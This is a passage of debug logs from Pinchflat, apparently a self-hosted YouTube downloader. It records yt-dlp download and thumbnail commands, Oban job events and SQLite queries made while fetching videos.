/tmp/pinchflat/data/3f/b1/3fb1a18bcfefd6bf39475ccfb6bd0e5ced13acbd2ef4d97c3fe4d13cf0ed4919.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:15:33.795 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xxSyov0Hjz8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/74/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3f/b1/3fb1a18bcfefd6bf39475ccfb6bd0e5ced13acbd2ef4d97c3fe4d13cf0ed4919.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:15:33.796 [debug] QUERY OK db=0.0ms idle=733.6ms begin [] 22:15:33.796 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:15:31Z], "/downloads/Last Meals/2023-01-19 Tom Hanks Eats His Last Meal/Tom Hanks Eats His Last Meal [xxSyov0Hjz8].mp4", ~U[2026-03-28 02:15:33Z], 74] 22:15:33.797 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/74/metadata.json.gz", "/config/metadata/media_items/74/thumbnail.jpg", 74, ~U[2026-03-28 02:15:33Z], ~U[2026-03-28 02:15:33Z]] 22:15:33.797 [debug] QUERY OK db=0.1ms commit [] 22:15:33.799 [debug] QUERY OK source="media_items" db=1.0ms idle=735.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [303810354, ~U[2026-03-28 02:15:33Z], 74] 22:15:33.799 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:15:33.799 [info] {"args":{"id":74},"id":79,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":116000595,"event":"job:stop","queue_time":5094798386,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:15:33.800 [debug] QUERY OK source="tasks" db=0.3ms idle=737.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:15:33.800 [debug] QUERY OK source="tasks" db=0.3ms idle=608.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:15:33.800 [debug] QUERY OK source="media_items" db=0.0ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 22:15:33.800 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 22:15:33.805 [info] {"args":{"id":76},"id":81,"meta":{},"system_time":1774664133805837544,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:15:33.806 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76] 22:15:33.806 [debug] QUERY OK source="tasks" db=0.5ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:15:33.806 [debug] QUERY OK source="tasks" db=0.6ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:15:33.806 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:15:33.807 [debug] QUERY OK source="media_items" db=0.2ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [75, 76] 22:15:33.807 [debug] QUERY OK source="sources" db=0.4ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:15:33.807 [debug] QUERY OK source="media_items" db=0.5ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [75, 76] 22:15:33.807 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:33.807 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76] 22:15:33.808 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [76] 22:15:33.808 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:33.808 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:33.808 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:33.808 [debug] Running yt-dlp command for action: get_downloadable_status 22:15:33.809 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:33.809 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:33.809 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:33.809 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mOvhHim78YA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/89/12/8912626db5acef1c85afb095b60a8d2643f20602edd31ce8fd772abf26b53291.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:15:36.686 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mOvhHim78YA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/89/12/8912626db5acef1c85afb095b60a8d2643f20602edd31ce8fd772abf26b53291.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:15:36.686 [debug] Running yt-dlp command for action: download 22:15:36.686 [debug] QUERY OK source="settings" db=0.1ms idle=1623.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:36.686 [debug] QUERY OK source="settings" db=0.0ms idle=1623.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:36.686 [debug] QUERY OK source="settings" db=0.0ms idle=1624.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:36.686 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mOvhHim78YA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f6/74/f674ce9fe16cfcd9952b10b07538575c13f753cdeb7d3540047976945b2fd885.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:15:58.857 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.653 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:28.859 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:58.860 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.654 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:16.487 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mOvhHim78YA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f6/74/f674ce9fe16cfcd9952b10b07538575c13f753cdeb7d3540047976945b2fd885.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:17:16.506 [debug] Running yt-dlp command for action: download_thumbnail 22:17:16.506 [debug] QUERY OK source="settings" db=0.1ms idle=444.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:16.506 [debug] QUERY OK source="settings" db=0.0ms idle=444.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:16.506 [debug] QUERY OK source="settings" db=0.0ms idle=444.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:16.507 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mOvhHim78YA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/76/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a0/5c/a05cd98602b37f78e6353c00f1e940add5ea629b48fa0e90536c4a46535ef4da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:17:20.250 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mOvhHim78YA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/76/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a0/5c/a05cd98602b37f78e6353c00f1e940add5ea629b48fa0e90536c4a46535ef4da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:17:20.250 [debug] QUERY OK db=0.0ms idle=868.4ms begin [] 22:17:20.250 [debug] QUERY OK source="media_items" db=0.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:17:16Z], "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].mp4", [["en", "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].en.vtt"]], ~U[2026-03-28 02:17:20Z], 76] 22:17:20.252 [debug] QUERY OK source="media_metadata" db=1.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/76/metadata.json.gz", "/config/metadata/media_items/76/thumbnail.jpg", 76, ~U[2026-03-28 02:17:20Z], ~U[2026-03-28 02:17:20Z]] 22:17:20.252 [debug] QUERY OK db=0.1ms commit [] 22:17:20.256 [debug] QUERY OK source="media_items" db=0.2ms idle=193.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [396099284, ~U[2026-03-28 02:17:20Z], 76] 22:17:20.256 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:17:20.256 [info] {"args":{"id":76},"id":81,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":106450810,"event":"job:stop","queue_time":5208805344,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:17:20.257 [debug] QUERY OK source="tasks" db=0.3ms idle=194.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:17:20.257 [debug] QUERY OK source="tasks" db=0.4ms idle=194.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:17:20.257 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 22:17:20.257 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 22:17:20.262 [info] {"args":{"id":77},"id":82,"meta":{},"system_time":1774664240262595688,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:17:20.262 [debug] QUERY OK source="media_items" db=0.0ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [77] 22:17:20.262 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:17:20.263 [debug] QUERY OK source="tasks" db=0.3ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:17:20.263 [debug] QUERY OK source="tasks" db=0.4ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:17:20.263 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:17:20.263 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [75, 77] 22:17:20.263 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:20.264 [debug] QUERY OK source="media_items" db=0.5ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 